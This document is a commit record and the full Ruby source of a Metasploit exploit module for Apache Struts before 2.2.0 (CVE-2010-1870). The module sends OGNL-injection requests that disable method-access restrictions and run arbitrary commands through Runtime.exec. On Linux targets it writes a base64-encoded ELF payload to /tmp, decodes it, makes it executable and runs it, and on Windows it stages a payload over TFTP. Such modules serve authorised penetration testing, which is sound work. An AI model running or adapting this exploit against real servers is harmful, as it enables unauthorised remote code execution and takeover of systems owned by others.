Adds Struts2 Remote Code Execution exploit CVE-2010-1870
git-svn-id: file:///home/svn/framework3/trunk@13584 4d416f70-5f16-0410-b530-b9f4589650daunstable
David Rude
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25100584eb
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402ca57bb4
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::CmdStagerTFTP
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Struts < 2.2.0 Remote Command Execution',
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'Description' => %q{
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This module exploits a remote command execution vulnerability in
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Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
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handle unicode characters in OGNL extensive expressions passed to the web server.
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By sending a specially crafted request to the Struts application it is possible to
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bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
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Bypassing this restriction allows for the execution of arbitrary Java code.
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},
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'Author' =>
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[
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'bannedit', # metasploit module
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'Meder Kydyraliev', # original public exploit
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-1870'],
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[ 'OSVDB', '66280'],
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[ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
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],
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'Platform' => [ 'win', 'linux'],
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'Privileged' => true,
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'Targets' =>
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[
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['Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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],
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['Linux Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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],
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],
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'DisclosureDate' => 'Jul 13 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('URI', [ false, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', nil ]),
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OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
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], self.class)
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end
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def execute_command(cmd, opts = {})
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uri = Rex::Text::uri_encode(datastore['URI'])
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var_a = rand_text_alpha_lower(4)
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var_b = rand_text_alpha_lower(2)
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var_c = rand_text_alpha_lower(4)
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var_d = rand_text_alpha_lower(4)
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var_e = rand_text_alpha_lower(4)
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uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
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uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
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uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
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uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
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uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
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puts uri
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vprint_status("Attemping to execute: #{cmd}")
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resp = send_request_raw({
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'uri' => uri,
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'version' => '1.1',
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'method' => 'GET',
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}, 5)
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end
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def windows_stager
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exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
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print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
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execute_cmdstager({ :temp => '.'})
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@payload_exe = payload_exe
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print_status("Attempting to execute the payload...")
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execute_command(@payload_exe)
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end
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def linux_stager
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cmds = "/bin/sh@-c@echo LINE | tee FILE"
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exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
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base64 = Rex::Text.encode_base64(exe)
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base64.gsub!(/\=/, "\\u003d")
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file = rand_text_alphanumeric(4+rand(4))
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execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
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cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
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base64.each_line do |line|
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line.chomp!
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cmd = cmds
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cmd.gsub!(/LINE/, line)
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execute_command(cmds)
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end
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execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
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execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
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execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
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execute_command("/bin/sh@-c@/tmp/#{file}")
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@payload_exe = "/tmp/" + file
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end
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def on_new_session(client)
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if target['Platform'] == 'linux'
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print_status("deleting #{@payload_exe} payload file")
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execute_command("/bin/sh@-c@rm #{@payload_exe}")
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else
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print_status("Windows does not allow running executables to be deleted")
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print_status("delete the #{@payload_exe} file manually after migrating")
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end
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end
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def exploit
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if not datastore['CMD'].empty?
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print_status("Executing user supplied command")
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execute_command(datastore['CMD'])
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return
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end
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case target['Platform']
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when 'linux'
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linux_stager
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when 'win'
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windows_stager
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else
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raise RuntimeError, 'Unsupported target platform!'
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end
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handler
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end
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end
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